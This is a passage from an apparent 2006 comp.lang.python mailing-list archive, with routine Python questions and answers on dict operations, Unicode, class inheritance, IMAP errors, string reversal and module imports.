just as they work on sets. >>> Set([1,2,3]) - Set([3,4]) Set([1, 2]) >>> {1: 10, 2: 20, 3: 30} - {3: 30, 4: 40} should give {1: 10, 2:20} instead of "TypeError: unsupported operand type(s) for -: 'dict' and 'dict'" Similarly, union ( | ) and intersetion ( & ) should also be very useful for dictionaries. It should be quite obvious what should happen when the values stored for the relevant keys are identical. It is less obvious (and needs some though) what should happen when the keys are the same in the two operands, but the values are different. E.g. Should {1: 10, 2: 20} | {2: 25, 3:30} give an error message (because the values for the key 2 don't match), or should this value conflict be somehow resolved automatically? Similarly, should intersection and differenc eliminate keys only when the keys match, or not. I think this would be useful. Would this be worth implementing? Would it be difficult to implement? -------------- next part -------------- An HTML attachment was scrubbed... URL: From ilias at lazaridis.com Tue Oct 17 02:34:46 2006 From: ilias at lazaridis.com (Ilias Lazaridis) Date: 16 Oct 2006 23:34:46 -0700 Subject: Python component model In-Reply-To: <1160699534.615400.115130@i42g2000cwa.googlegroups.com> References: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> <1160538736.856864.175990@i42g2000cwa.googlegroups.com> <1160699534.615400.115130@i42g2000cwa.googlegroups.com> Message-ID: <1161066886.872563.150970@e3g2000cwe.googlegroups.com> Peter Wang wrote: > Ilias Lazaridis wrote: > > looks interesting. > > Thanks! > > > what about persistency? > > Um... what about it? " As far as I can see, there's no persistency binding available. Is one planned? " http://groups.google.com/group/comp.lang.python/msg/dbdaedc68eee653a . -- http://lazaridis.com From leo.kislov at gmail.com Fri Oct 20 06:00:21 2006 From: leo.kislov at gmail.com (Leo Kislov) Date: Fri, 20 Oct 2006 03:00:21 -0700 Subject: right curly quote and unicode In-Reply-To: <435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com> References: <7fcc59a70610181444p5909767g77fdf37671041b93@mail.gmail.com> <435b46e50610191256w45271a00kc96b366140b8ff56@mail.gmail.com> Message-ID: <7fcc59a70610200300oc373ae5l369aff956eabbf94@mail.gmail.com> On 10/19/06, TiNo wrote: > Now I know where the problem lies. The character in the actual file path is > u+00B4 (Acute accent) and in the Itunes library it is u+2019 (a right curly > quote). Somehow Itunes manages to make these two the same...? > > As it is the only file that gave me trouble, I changed the accent in the > file to an apostrophe and re-imported it in Itunes. But I would like to hear > if there is a solution for this problem? I remember once I imported a russian mp3 violating tagging standard by encoding song name in windows-1251 encoding into itunes and itunes converted the name without even asking me into standard compliant utf-8. So there is some magic going on. In your case u+00B4 is a compatibility character from unicode.org point of view and they discourage usage of such characters. Perhaps itunes is eager to make u+00B4 character history as soon as possible. Googling for "itunes replaces acute with quote" reveals that char u+00B4 is not alone. Read the first hit. I'm afraid you will have to reverse engeneer what itunes is doing to some characters. -- Leo. From baur79 at gmail.com Wed Oct 25 04:03:03 2006 From: baur79 at gmail.com (baur79 at gmail.com) Date: 25 Oct 2006 01:03:03 -0700 Subject: python html 2 image (png) Message-ID: <1161763383.622381.299350@b28g2000cwb.googlegroups.com> hi everyone how can i render html page to png image ex: http://www.website.com/index.html -> index.png thanks a lot From fredrik at pythonware.com Mon Oct 16 05:08:18 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Mon, 16 Oct 2006 11:08:18 +0200 Subject: Where to find pydoc? In-Reply-To: <3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net> References: <3ACF03E372996C4EACD542EA8A05E66A0615AE@mailbe01.teak.local.net> Message-ID: Wijaya Edward wrote: > Thanks for the reply. > > Red Hat Linux Enterprise: > Linux host.com 2.6.9-34.ELsmp #1 SMP Fri Feb 24 16:54:53 EST 2006 i686 i686 i386 GNU/Linux > > Python 2.3.4. > > Any problem with that? only that Red Hat obviously hasn't bothered to include "pydoc" in the distribution you're using. look for "python-tools" or a similar package in your favourite package repository. From ak at silmarill.org Sat Oct 14 21:32:47 2006 From: ak at silmarill.org (Rainy) Date: 14 Oct 2006 18:32:47 -0700 Subject: broken links on effbot.org In-Reply-To: <1160857754.125562.255020@e3g2000cwe.googlegroups.com> References: <1160857754.125562.255020@e3g2000cwe.googlegroups.com> Message-ID: <1160875967.292285.203190@h48g2000cwc.googlegroups.com> Gerard Flanagan wrote: > The links here seem to be broken: > > http://effbot.org/zone/element-index.htm#documentation > > I'm getting: > > sorry, /zone/page.cgi?page=element does not exist > > sorry, /zone/page.cgi?page=pythondoc-elementtree-ElementTree does not > exist > > It was working two days ago, possibly yesterday (13th Oct). > > Gerard It works for me.. From john at castleamber.com Sun Oct 29 14:23:54 2006 From: john at castleamber.com (John Bokma) Date: 29 Oct 2006 19:23:54 GMT Subject: logo design - BZZZT! OT! References: <1162103065.460796.303660@f16g2000cwb.googlegroups.com> Message-ID: "Paul McGuire" wrote: > Does the "power-that-be of lispers" spend much time on c.l.py? Even > though Python is mentioned in passing in this post, it really doesn't > need to be cross-posted here. Xah Lee is a well-known spammer, almost all his messages contain at least one link to his site in the body. Somehow this time he limited his post to 3 groups instead of the usual 5. Maybe talking with the right people does work. It did with Dreamhost. And I am sure his current hosting provider is listening ;-) -- John MexIT: http://johnbokma.com/mexit/ personal page: http://johnbokma.com/ Experienced programmer available: http://castleamber.com/ Happy Customers: http://castleamber.com/testimonials.html From sybrenUSE at YOURthirdtower.com.imagination Wed Oct 18 16:04:15 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Wed, 18 Oct 2006 22:04:15 +0200 Subject: Classes and Functions - General Questions References: <1161200542.603408.94630@k70g2000cwa.googlegroups.com> Message-ID: Setash enlightened us with: > 1) Classes. How do you extend classes? > > I know its as easy as: > > class classname(a) > do stuff > > > But where does the parent class need to lie? In the same file? Can > it lie in another .py file in the root directory? It doesn't matter at all, as long as 'a' is a valid class name. This works too: import x class Classname(x.A): do stuff It's common to start classnames with a captial letter. > Can my directory structure look like > > .. > /class1.py > /class2.py > > And have class2 inherit class1 without any import statements, or need > it be imported first? It needs to be imported first: class1.py: class Class1(object): pass class2.py: import class1 class Class2(class1.Class1): pass > 2) Function overloading - is it possible? Nope. At least, not that I'm aware of. > Can I have the following code, or something which acts the same in > python?: > > > def function(a, b) > do things > > def function(a, b, c) > do things only if I get a third argument def function(a, b, c=None): do things, do other things if c is not None. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From simon at brunningonline.net Fri Oct 20 14:12:06 2006 From: simon at brunningonline.net (Simon Brunning) Date: Fri, 20 Oct 2006 19:12:06 +0100 Subject: help with my first use of a class In-Reply-To: References: <1161324003.586807.145410@b28g2000cwb.googlegroups.com> Message-ID: <8c7f10c60610201112q51fe2784mdab2add574b7627@mail.gmail.com> On 10/20/06, James Stroud wrote: > > I don't really have formal programming training, but it is increasingly > becoming my experience that OOP is but one ingredient in a good program. > It can be left out or it can be mixed with other ingredients for a nice > effect. Indeed. Python is a multi-paradigm programing language. If the best solution for a problem is a class, you've got them. If on the other hand, you just need a function, you can have one of those too - none of this class full of static methods rubbish like you have in Java. If a functional approach is better, Python does that. -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From onurb at xiludom.gro Tue Oct 17 10:35:43 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Tue, 17 Oct 2006 16:35:43 +0200 Subject: Looking for assignement operator In-Reply-To: References: Message-ID: <4534ea40$0$26809$426a34cc@news.free.fr> Steven D'Aprano wrote: > On Tue, 17 Oct 2006 15:50:47 +0200, Alexander Eisenhuth wrote: > >> Hello, >> >> is there a assignement operator, that i can overwrite? > > No. > > We were just discussing the reasons why Python will not and can not have > an assignment operator just a few days ago. Check the archives for more > details. > > >> class MyInt: >> def __init__(self, val): >> assert(isinstance(val, int)) > > isinstance() considered harmful: Trying to convert val to an int would probably be better indeed: class MyInt(object): def __init__(self, val): self.val = int(val) My 2 cents -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From steve at holdenweb.com Sun Oct 1 13:10:16 2006 From: steve at holdenweb.com (Steve Holden) Date: Sun, 01 Oct 2006 18:10:16 +0100 Subject: question about scope In-Reply-To: <451ff246$0$30811$c3e8da3@news.astraweb.com> References: <451f2fa7$0$14757$c3e8da3@news.astraweb.com> <451f52f1$0$1803$c3e8da3@news.astraweb.com> <4KITg.18490$Ij.7035@newssvr14.news.prodigy.com> <451ff246$0$30811$c3e8da3@news.astraweb.com> Message-ID: John Salerno wrote: > James Stroud wrote: > > >>This is because that list is an attribute of the class. Instances have a >>reference of this class attribute, but it can be replaced by an >>attribute of the instance with self (self is a reference to the instance >>and not the class. This example might help: > > > Ah, I see! So within my create_menubar() method, would it better to > refer to menu_items as DataAccessFrame.menu_items? Or does it not matter > in this case, since I'm not reassigning it per instance? I'd prefer to use a self-relative reference, though either works in your example. That way the code will work for subclasses with different menus too. Perhaps not relevant in your case, but a general point. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From theller at ctypes.org Fri Oct 27 05:06:11 2006 From: theller at ctypes.org (Thomas Heller) Date: Fri, 27 Oct 2006 11:06:11 +0200 Subject: Slightly OT: Is pyhelp.cgi documentation search broken? In-Reply-To: References: Message-ID: <4541CC03.9090504@ctypes.org> Joel Hedlund schrieb: > Hi! > > For a number of days I haven't been able to search the online python > docs at: > > http://starship.python.net/crew/theller/pyhelp.cgi > > that is the "search the docs with" link at this page: > > http://www.python.org/doc/ > > Instead of the search engine, I get Error 404. This is a real bother for > me, since I rely heavily on it for my work. > It works now again. At the same time, I've added the ability to search the Python 2.5 docs, (formerly they were exposed as 'current docs' only, and moved the code into an SVN repository. Note that you can also download the module and use it locally. Thomas From fredrik at pythonware.com Sat Oct 28 11:53:28 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 17:53:28 +0200 Subject: Where is __builtin__ In-Reply-To: <1162050359.184999.259580@b28g2000cwb.googlegroups.com> References: <1162050359.184999.259580@b28g2000cwb.googlegroups.com> Message-ID: ArdPy wrote: > Most of the other modules have an accompanying python source file. But > that is not the case with __builtin__. What might be the reason? Isn't > __builtin__ written in python? http://www.effbot.org/pyfaq/where-is-the-math-py-socket-py-regex-py-etc-source-file.htm From DustanGroups at gmail.com Sun Oct 15 09:15:00 2006 From: DustanGroups at gmail.com (Dustan) Date: 15 Oct 2006 06:15:00 -0700 Subject: Reverse string-formatting (maybe?) In-Reply-To: References: <1160829302.661810.123440@k70g2000cwa.googlegroups.com> <1160916174.892851.39730@e3g2000cwe.googlegroups.com> Message-ID: <1160918100.141668.128850@h48g2000cwc.googlegroups.com> Tim Chase wrote: > > My template outside of the '%s' characters contains only commas and > > spaces, and within, neither commas nor spaces. Given that information, > > is there any reason it might not work properly? > > Given this new (key) information along with the assumption that > you're doing straight string replacement (not dictionary > replacement of the form "%(key)s" or other non-string types such > as "%05.2f"), then yes, a reversal is possible. To make it more > explicit, one would do something like > > >>> template = '%s, %s, %s' > >>> values = ('Tom', 'Dick', 'Harry') > >>> formatted = template % values > >>> import re > >>> unformat_string = template.replace('%s', '([^, ]+)') > >>> unformatter = re.compile(unformat_string) > >>> extracted_values = unformatter.search(formatted).groups() > > using '[^, ]+' to mean "one or more characters that aren't a > comma or a space". > > -tkc Thanks. One more thing (I forgot to mention this other situation earlier) The %s characters are ints, and outside can be anything except int characters. I do have one situation of '%s%s%s', but I can change it to '%s', and change the output into the needed output, so that's not important. Think something along the lines of "abckdaldj iweo%s qwierxcnv !%sjd". From carsten at uniqsys.com Tue Oct 17 09:13:39 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Tue, 17 Oct 2006 09:13:39 -0400 Subject: Newbie: datetime conversion question In-Reply-To: References: <1161089016.309925.94840@b28g2000cwb.googlegroups.com> Message-ID: <1161090819.9902.6.camel@dot.uniqsys.com> On Tue, 2006-10-17 at 08:49, hg wrote: > import time > "%08X"% (int)(time.mktime(time.localtime())) Have you not had your coffee yet or are you trying to win an obfuscated python programming competition? ;) -Carsten From onurb at xiludom.gro Wed Oct 25 05:12:49 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Wed, 25 Oct 2006 11:12:49 +0200 Subject: Looking for assignement operator In-Reply-To: <1161408831.435579.302150@m73g2000cwd.googlegroups.com> References: <1161158101.890041.122160@k70g2000cwa.googlegroups.com> <4535e7d8$0$377$426a74cc@news.free.fr> <1161408831.435579.302150@m73g2000cwd.googlegroups.com> Message-ID: <453f2a93$0$12033$426a74cc@news.free.fr> Tommi wrote: > Bruno Desthuilliers wrote: > (about Traits) > >> How could it help ? > > To me they just looked a bit alike: > > --- op's example --- > a = MyInt(10) > # Here i need to overwrite the assignement operator > a = 12 > > --- traits' example --- > moe = Child() > # NOTIFICATION in action > moe.age = 10 > You do understand the difference between rebinding a name and modifying a mutable object, do you ? FWIW, you definitively don't need Traits here - properties are enough. class Something(object): @apply def age(): def fget(self): return self._age def fset(self, val): self._age = MyInt(val) return property(**locals()) s = Something() s.age = 42 type(s.age) But this is not what the OP was asking for... -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From sgreszcz at yahoo.com Wed Oct 18 08:25:59 2006 From: sgreszcz at yahoo.com (Stephen G) Date: Wed, 18 Oct 2006 05:25:59 -0700 (PDT) Subject: MemoryError - IMAP retrieve self._sock.recv(recv_size) Message-ID: <20061018122559.15495.qmail@web88207.mail.re2.yahoo.com> Hi there. I have been receiving MemoryErrors using the Windows version of Python 2.5. The script I have written times the sending and the reception of emails with various attachments. I get many exceptions when using the IMAP downloads. This happens randomly; sometimes the file downloads OK, and other times no. Using an exception and traceback function, I can see the following... MemoryError File "C:\Documents and Settings\root\Desktop\TMO\Python scripts\imap-v2.3a.py", line 263, in main typ, data = M.fetch(num, '(RFC822)') File "C:\Python25\lib\imaplib.py", line 437, in fetch typ, dat = self._simple_command(name, message_set, message_parts) File "C:\Python25\lib\imaplib.py", line 1055, in _simple_command return self._command_complete(name, self._command(name, *args)) File "C:\Python25\lib\imaplib.py", line 885, in _command_complete typ, data = self._get_tagged_response(tag) File "C:\Python25\lib\imaplib.py", line 986, in _get_tagged_response self._get_response() File "C:\Python25\lib\imaplib.py", line 948, in _get_response data = self.read(size) File "C:\Python25\lib\imaplib.py", line 236, in read return self.file.read(size) File "C:\Python25\lib\socket.py", line 308, in read data = self._sock.recv(recv_size) Is this a know bug or is there something I can do to work around this? Thanks, Stephen From fredrik at pythonware.com Fri Oct 20 09:10:54 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 20 Oct 2006 15:10:54 +0200 Subject: Unicode support in python References: <1161333949.746819.253500@m7g2000cwm.googlegroups.com> <1161347155.127042.88710@m7g2000cwm.googlegroups.com> Message-ID: "sonald" wrote: > I have added the following line in the script > > # -*- coding: utf-8 -*- that's good. > I have also modified the site.py that's bad, because this means that your code won't work on standard Python installations. > Now when I try to validate the data in the text file > say abc.txt (saved as with utf-8 encoding) containing either english or > russian text, what does the word "validate" mean here? > some junk character (box like) is added as the first character > what must be the reason for this? what did you do to determine that there's a box-like character at the start of the file? can you post some code? From spe.stani.be at gmail.com Sun Oct 15 18:18:36 2006 From: spe.stani.be at gmail.com (SPE - Stani's Python Editor) Date: 15 Oct 2006 15:18:36 -0700 Subject: SPE for 2.5? In-Reply-To: References: Message-ID: <1160950716.385705.161880@b28g2000cwb.googlegroups.com> John Salerno schreef: > Does anyone know if SPE is compatible with Python 2.5? I don't see a > Windows exe file for 2.5, so I wasn't sure if I should use the 2.4 version. > > Thanks. It should be. Contact me and I'll help you to make a 2.5 installer, which I'll gladly provide for download. I use SPE on daily basis myself. Stani From claus.tondering at gmail.com Tue Oct 10 10:24:23 2006 From: claus.tondering at gmail.com (Claus Tondering) Date: 10 Oct 2006 07:24:23 -0700 Subject: Using the imp module References: <1160487276.256447.187000@i42g2000cwa.googlegroups.com> <1160490031.724373.8230@k70g2000cwa.googlegroups.com> Message-ID: <1160490263.328413.142670@m7g2000cwm.googlegroups.com> I wrote: > Fredrik Lundh wrote: > > globals().update(vars(__import__("xyzzy"))) > > Thank you, I can use that in some cases. However, I need to import a > file that is not in the load path. The imp module allows me to specify > a path name; but as far as I know, the __import__ function does not > allow me to do that. Oops, I forgot to add that I realize that the update(vars(...)) feature works well with the imp module too. -- Claus Tondering From rtw at freenet.co.uk Tue Oct 10 08:42:00 2006 From: rtw at freenet.co.uk (Rob Williscroft) Date: Tue, 10 Oct 2006 07:42:00 -0500 Subject: Using Gnutar to remove a list of files References: <1160483644.216310.249760@m73g2000cwd.googlegroups.com> Message-ID: wrote in news:1160483644.216310.249760 at m73g2000cwd.googlegroups.com in comp.lang.python: > Hi folks, I've got a question for yas. I'm trying to write code that > will open up a gzipped tar file using gnutar, and copy the list of > files(including their directories) to a list variable in python. From > there, I want to go through the list and delete those files from my > system. That part is easy, but what I'm stuck on is getting the list > of files in an archive into a list variable. If I use the -t parameter > in gnutar, it prints a list of the files in a seperate cmd screen, but > only returns 0. Is there any way to make it return a list, or to copy > the information over? Thanks in advance! > Perhaps this will help: http://docs.python.org/lib/tar-examples.html Rob. -- http://www.victim-prime.dsl.pipex.com/ From ak at silmarill.org Sat Oct 7 15:34:06 2006 From: ak at silmarill.org (Rainy) Date: 7 Oct 2006 12:34:06 -0700 Subject: Help with first script please. files, directories, autocomplete In-Reply-To: <1160236545.779687.136980@c28g2000cwb.googlegroups.com> References: <1160236545.779687.136980@c28g2000cwb.googlegroups.com> Message-ID: <1160249646.129746.213600@b28g2000cwb.googlegroups.com> simonharrison at fastmail.co.uk wrote: > Hello everyone. Hopefully someone can point me in the right direction > here. I'm wanting to write a script to open microsoft word and adobe > pdf documents . Here is a little background: > > At the company where I work (an inspection firm) all reports of > inspections are saved as word files. A particular file may contain many > reports named like this; 12345A-F.doc. This file contains six reports. > Most inspections also require a technique which is saved as a pdf. The > pdf filename is the identification of the part being inspected. > > My command line script will work like this: The user is asked whether > they are searching for a technique or a report > > > Find (c)ertificate or (t)echnique > > if they press 'c' they are then asked to enter certificate number. > Using the code below, no enter is needed > > import msvcrt > print "Find (t)echnique or (c)ertificate: " > ch = msvcrt.getch() > if ch == 't': > print "Enter technique number: " > elif ch == 'c': > print "Enter certificate number: " > else: > print 'command not understood.' > raw_input() > > Obviously I will need to wrap this into a function. What I need to know > how to do is save the two directories where the files are stored. if > 'c' is selected I want to use that as the directory to search. same for > techniques. What is the best way to do this? I would also like to have > the text autocomplete after maybe three characters, is this possible? > Am I correct in thinking all files would have to be stored in a list > for this to work? > > As you can tell I am new to programming. I don't want someone to write > this script for me, just give me some pointers to get going (maybe a > tutorial on the net). Unless someone really wants to write it of > course! > > Many thanks and sorry for the long post. You can store the dir name as a variable: >>> d = 'c:\home' >>> from os import * >>> listdir(d) ['.Config.pm.swp', '.run.bat.swp', 'AHK scripts', 'Archive', 'Config.pm', 'Docs', 'Images', 'Links', 'Music', 'Projects', 'Python programs', 'run.bat', 'Share', 'Torrent'] As you see files are already in a list if you use listdir function. You can autocomplete by getting each character, running through the list and comparing using startswith() function: >>> l = listdir(d) >>> m = [m for m in l if m.startswith('A')] >>> m ['AHK scripts', 'Archive'] Then you can check how many matches you got. If you get one, print it and ask for Enter to finalize the choice. You might want to read tutorial on python.org. You also might want to buy a python book, or read any number of other tutorials online if you don't want to spend money right now. Your questions are kind of basic, I don't want to discourage you but as you go along you will run into many other things and it's not practical to ask every time and wait for the answer (although people here are glad to help). -Rainy From fredrik at pythonware.com Fri Oct 27 01:46:36 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Fri, 27 Oct 2006 07:46:36 +0200 Subject: doesnt seems to work can any help be provided In-Reply-To: <871wouhenw.fsf@benfinney.id.au> References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com> <4540bbd4$0$9134$426a74cc@news.free.fr> <871wouhenw.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: > Apparently that learning also didn't include the prohibitions against > colluding with others. Nevertheless, I'll bet they are still present. http://www.csu.edu.au/acad_sec/manuals/gcontm.htm Part G6 Collusion A student colludes when he or she works without permission with another person or persons to produce work which is then presented as work completed independently by the student. Collusion includes, but is not limited to: - writing the whole or part of an assignment with another person; - using the notes of another person to prepare an assignment; - using for an assignment the resource materials of another person that have been annotated or parts of the text highlighted or underlined by that person; - allowing another student, who has to submit an assignment on the same topic, access to one's own assignment under conditions which would give that other student an advantage in submitting his or her assignment From Jeff.Demel at JavelinDirect.com Thu Oct 19 12:35:53 2006 From: Jeff.Demel at JavelinDirect.com (Demel, Jeff) Date: Thu, 19 Oct 2006 11:35:53 -0500 Subject: invert or reverse a string... warning this is a rant Message-ID: <136ED738BD4F1545B97E4AC06FF6370734BEEA@DMSP-MSG-EVS01.mail.pvt> John Salerno wrote: >'m not steeped enough in daily programming to argue that it sn't >necessary, but my question is why do you need to reverse strings? Is it >something that happens often enough to warrant a method for it? I've been programming professionally for over 10 years, and have never once needed to reverse a string. Maybe it's a lack of imagination on my part, but I can't think of a single instance this might be necessary. However, if I did ever run across this need while using Python, it would seem awkward to use [::-1], just from a clarity standpoint. A string.reverse() method would be a decent thing to have. Just my $.02. -Jeff P.S. How about a string.shuffle() method that splits the string in half into two new strings str1 and str2, and then recompiles the string by alternating one character from each str1 and str2 as it goes? Like shuffling cards. ;) This email is intended only for the individual or entity to which it is addressed. This email may contain information that is privileged, confidential or otherwise protected from disclosure. Dissemination, distribution or copying of this e-mail or any attachments by anyone other than the intended recipient, or an employee or agent responsible for delivering the message to the intended recipient, is prohibited. If you are not the intended recipient of this message or the employee or agent responsible for delivery of this email to the intended recipient, please notify the sender by replying to this message and then delete it from your system. Any use, dissemination, distribution, or reproduction of this message by unintended recipients is strictly prohibited and may be unlawful. From kay.schluehr at gmx.net Sun Oct 1 05:20:15 2006 From: kay.schluehr at gmx.net (Kay Schluehr) Date: 1 Oct 2006 02:20:15 -0700 Subject: Escapeism In-Reply-To: References: <1159607884.182985.63200@m7g2000cwm.googlegroups.com> <1159635727.840033.169540@m73g2000cwd.googlegroups.com> Message-ID: <1159694415.885862.81850@c28g2000cwb.googlegroups.com> Frederic Rentsch wrote: > Kay Schluehr wrote: > > Sybren Stuvel wrote: > > > >> Kay Schluehr enlightened us with: > >> > >>> Usually I struggle a short while with \ and either succeed or give up. > >>> Today I'm in a different mood and don't give up. So here is my > >>> question: > >>> > >>> You have an unknown character string c such as '\n' , '\a' , '\7' etc. > >>> > >>> How do you echo them using print? > >>> > >>> print_str( c ) prints representation '\a' to stdout for c = '\a' > >>> print_str( c ) prints representation '\n' for c = '\n' > >>> ... > >>> > >>> It is required that not a beep or a linebreak shall be printed. > >>> > >> try "print repr(c)". > >> > > > > This yields the hexadecimal representation of the ASCII character and > > does not simply echo the keystrokes '\' and 'a' for '\a' ignoring the > > escape semantics. One way to achieve this naturally is by prefixing > > '\a' with r where r'\a' indicates a "raw" string. But unfortunately > > "rawrification" applies only to string literals and not to string > > objects ( such as c ). I consider creating a table consisting of pairs > > {'\0': r'\0','\1': r'\1',...} i.e. a handcrafted mapping but maybe > > I've overlooked some simple function or trick that does the same for > > me. > > > > Kay > > > > > Kay, > > This is perhaps yet another case for SE? I don't really know, because I > don't quite get what you're after. See for yourself: > > >>> import SE > >>> Printabilizer = SE.SE ( ''' > (1)=\\1 # All 256 octets can be written as parenthesized ascii > (2)=\\2 > "\a=\\a" # (7)=\\a" > "\n=\\n" # or (10)=\\n or (10)=LF or whatever > "\r=\\r" # (13)=CR > "\f=\\f" > "\v=\\v" > # Add whatever other ones you like > # and translate them to anything you like. > ''') > > >>> print Printabilizer ('abd\aefg\r\nhijk\vlmnop\1\2.') > abd\aefg\r\nhijk\vlmno\1\2. > > > If you think this may help, you'll find SE here: > http://cheeseshop.python.org/pypi/SE/2.2%20beta > > > Regards > > Frederic This looks quite good. "rawrification" or "printabalization" that's exactly what I was looking for and I thought this problem would be so common that someone has done an implementation already. Thanks, Frederik! Kay From codecraig at gmail.com Mon Oct 30 16:02:41 2006 From: codecraig at gmail.com (abcd) Date: 30 Oct 2006 13:02:41 -0800 Subject: wxPython TextCtrl - weird scrolling behavior In-Reply-To: <2yt1h.206$1n3.4433@news.tufts.edu> References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> <1162238656.661097.75180@f16g2000cwb.googlegroups.com> <1162240822.260735.316040@e64g2000cwd.googlegroups.com> <2yt1h.206$1n3.4433@news.tufts.edu> Message-ID: <1162242161.009063.65140@e64g2000cwd.googlegroups.com> On Oct 30, 3:47 pm, John Salerno wrote: >I noticed that one object you refer to is > self.textPane, is that supposed to be self.textPanel? no, self.textPane is the actual wx.TextCtrl. I used a GUI Builder to the layout stuff...perhaps that's my problem :) is there a good site to refer to for how to use sizers? i am essentially creating a chat window (textPane is the history of the chat, then a textCtrl below it for typing a new message and a button next to the input field and buttons below the input field). From MonkeeSage at gmail.com Thu Oct 5 08:38:08 2006 From: MonkeeSage at gmail.com (MonkeeSage) Date: 5 Oct 2006 05:38:08 -0700 Subject: Subclassing built-in classes References: <1160048997.394218.3760@c28g2000cwb.googlegroups.com> Message-ID: <1160051888.460310.79500@i3g2000cwc.googlegroups.com> Steve Holden wrote: > Unfortunately the literals are interpreted during bytecode generation, > before the compiled program is available, and your modifications to > __builtns__ haven't been made, so the answer is "no", I'm afraid. Ah! That makes sense. I guess the only way to do it would be to add an extra bit to every object to indicate whether it was constructed literally and then re-initialize the object after compilation if that bit is set. For some reason I just don't think that's gonna happen. ;) Thanks for taking the time to explain. Regards, Jordan From paul at boddie.org.uk Fri Oct 13 05:53:59 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 13 Oct 2006 02:53:59 -0700 Subject: Python component model In-Reply-To: References: <452b7aae$0$306$426a74cc@news.free.fr> <1160562945.079609.98640@m7g2000cwm.googlegroups.com> <12itd1as7dg9jdd@corp.supernews.com> <1160689455.771396.178430@h48g2000cwc.googlegroups.com> Message-ID: <1160733239.438760.278670@i3g2000cwc.googlegroups.com> Steve Holden wrote: > Paul Boddie wrote: > > > I'm not at the cutting edge here: 20j and 20k are the commands (replace > > 20 with another suitable amount) which help me jump around in my editor > > of choice. The other commands which may be more effective just aren't > > in my "working set". > > > You *might* find CTRL/U and CTRL/D helpful ... Sure, even Page Up and Page Down work on decent distributions. But there's a huge collection of other commands waiting to be discovered too. I may never know them all, however. ;-) Paul From johnjsal at NOSPAMgmail.com Fri Oct 20 15:16:52 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 19:16:52 GMT Subject: proper format for this database table In-Reply-To: <1161367645.430191.289290@k70g2000cwa.googlegroups.com> References: <1161293831.141761.284230@e3g2000cwe.googlegroups.com> <4t5_g.121$1n3.3067@news.tufts.edu> <1161367645.430191.289290@k70g2000cwa.googlegroups.com> Message-ID: mensanator at aol.com wrote: > [Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned] > 5 1 U of I 1971 1975 BS > 6 1 U of I 1975 1976 MS > 7 1 U of I 1976 1977 PhD > > where [Eid] is the primary key of the Education table and > [Sid] is the foreign key from the Student table so that the > single student record (1) links to three education records > (5,6,7). > Hmmm. I think I'm lost. My table will have a key that represents the persons ID, in my case it would be salerjo01. This will be what ties this table to that person. Can I repeat this key multiple times in the Education table? From tgrav at mac.com Thu Oct 19 12:44:49 2006 From: tgrav at mac.com (Tommy Grav) Date: Thu, 19 Oct 2006 12:44:49 -0400 Subject: Calling functions In-Reply-To: <4537A80C.2060203@v.igoro.us> References: <4537A80C.2060203@v.igoro.us> Message-ID: <6DDCE0BD-5F1F-407D-9F32-BF3B65BB5EA4@mac.com> That does work yes :) I just noticed that the script had another little error in it, making me believe that the function call was crooking. Cheers Tommy On Oct 19, 2006, at 12:30 PM, Dustin J. Mitchell wrote: > Tommy Grav wrote: >> I have a small program that goes something like this >> >> def funcA() : pass >> def funcB() : pass >> def funcC() : pass >> >> def determine(f): >> t = f() >> return t >> >> What I would like to do is be able to >> >> n = determine(funcA) >> m = determine(funcB) >> >> But I can't really figure out how to do this (I think it is >> possible :) > > Except for the spaces after the def's at the top (are those > legal?), it should > work as written. > > determine(funcA) results in 'f' being bound to 'funcA'; then 't = f > ()' results > in 'funcA' being called, and its resulting being bound to 't'; > 'determine' > returns that result, and it's bound to 'n'. Is that not what you > wanted? > > Dustin > -- > http://mail.python.org/mailman/listinfo/python-list Cheers Tommy tgrav at mac.com http://homepage.mac.com/tgrav/ "Any intelligent fool can make things bigger, more complex, and more violent. It takes a touch of genius -- and a lot of courage -- to move in the opposite direction" -- Albert Einstein -------------- next part -------------- An HTML attachment was scrubbed... URL: From gagsl-py at yahoo.com.ar Thu Oct 5 00:55:29 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Thu, 05 Oct 2006 01:55:29 -0300 Subject: Urlnames in urllib2 In-Reply-To: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com> References: <3ei8i2hosr67gdsmv75llvvr8ot920piqq@4ax.com> Message-ID: <7.0.1.0.0.20061005010408.054e4c20@yahoo.com.ar> At Wednesday 4/10/2006 21:03, goyatlah wrote: >I'm trying to figure out how to get the exact opened url after a >urlopen in urllib2. >Say you have a link : http://myhost/mypath : what do I get back, >- the file mypath on myhost >- the file index.html on myhost/mypath, >- or maybe something else. You get whatever the webserver chooses to serve at that URI. Usually: - if mypath is a directory (or assimilable to a directory), you get a redirect to mypath/ (else relative references won't work) - for mypath/ you get the default document for that directory, maybe index.html or index.php or default.html or ... - for mypath/myname you should get the best choice of documents regarding the Accept, Accept-Language, Accept-Encoding (but few people/servers use them completely). >Snd what about the following: 